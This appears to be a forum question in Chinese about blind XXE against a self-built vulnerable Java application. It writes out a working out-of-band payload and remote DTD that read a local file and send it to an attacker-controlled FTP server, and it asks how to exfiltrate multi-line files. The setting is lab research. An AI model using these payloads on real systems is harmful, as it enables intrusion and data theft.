我创建了一个易受(盲)XXE 攻击的 Java 应用程序。
我能够利用该漏洞并使用以下方法检索包含单行的文件:
1)拦截XML请求并修改如下:
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
2) 在 192.168.27.152 上,在端口 80 上提供以下 evil_oob.dtd:
<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">
3)在攻击者机器的 2121 端口上运行修改后的 FTP 服务器 ( Python )。
正如我之前解释的,当 test.txt 包含一行时,一切正常。但是,如果 test.txt 包含多行(因此包含回车),则 ftp URL 无效并且我收到以下错误:
java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
<... snip ...>
at java.lang.Thread.run(Thread.java:748) Caused by:
sun.net.ftp.FtpProtocolException: Illegal FTP command at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533) at
sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752) at
sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293) at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
carriage return** at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
我还尝试用在不同端口上运行的 http 服务器替换 FTP 服务器,但我当然会遇到类似的错误,因为在这种情况下 URL 也是无效的。
我想知道是否甚至可以通过盲 XXE 检索包含多行的文件?我知道使用 PHP 有时可以使用 PHP 过滤器对文件进行 base64 编码,但 Java 并非如此。
我已经阅读了数十篇文章,但找不到实现目标的方法。